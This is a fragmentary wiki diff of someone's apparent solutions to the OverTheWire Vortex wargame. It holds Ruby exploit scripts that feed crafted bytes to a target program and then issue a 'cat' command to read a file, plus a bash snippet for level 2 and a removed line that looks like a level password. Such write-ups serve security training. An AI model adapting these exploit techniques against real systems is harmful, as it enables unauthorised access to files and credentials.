Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| security:over_the_wire:vortex [14 years ago - 2011/10/18 05:16] – aogail | security:over_the_wire:vortex [14 years ago - 2011/10/21 20:43] (current) – aogail | ||
|---|---|---|---|
| Line 3: | Line 3: | ||
| ===== Level 0 ===== | ===== Level 0 ===== | ||
| - | <code ruby> | + | <code ruby level0.rb> |
| require ' | require ' | ||
| Line 18: | Line 18: | ||
| ===== Level 1 ===== | ===== Level 1 ===== | ||
| - | <code ruby> | + | <code ruby level1.rb> |
| require ' | require ' | ||
| + | |||
| begin | begin | ||
| PTY.spawn("/ | PTY.spawn("/ | ||
| - | | + | |
| - | 1.times {stdout.write [0xca].pack(' | + | |
| - | 1.times {stdout.write " | + | |
| - | 1.times {stdout.write [0xff].pack(' | + | |
| reader = Thread.new { | reader = Thread.new { | ||
| STDOUT.sync = true | STDOUT.sync = true | ||
| STDOUT.write(stdin.read(1)) until stdin.eof? | STDOUT.write(stdin.read(1)) until stdin.eof? | ||
| - | puts ' | ||
| } | } | ||
| - | stdout.write | + | |
| + | 1.times {stdout.write [0xca].pack(' | ||
| + | 1.times {stdout.write " | ||
| + | 1.times {stdout.write [0xff].pack(' | ||
| + | sleep 0.25 | ||
| + | stdout.puts | ||
| + | sleep 0.25 | ||
| + | stdout.write "cat / | ||
| + | sleep 0.25 | ||
| end | end | ||
| rescue => e | rescue => e | ||
| Line 39: | Line 43: | ||
| </ | </ | ||
| - | 23anbT\rE | + | ===== Level 2 ===== |
| + | |||
| + | <code bash> | ||
| + | / | ||
| + | cat '/ | ||
| + | </ | ||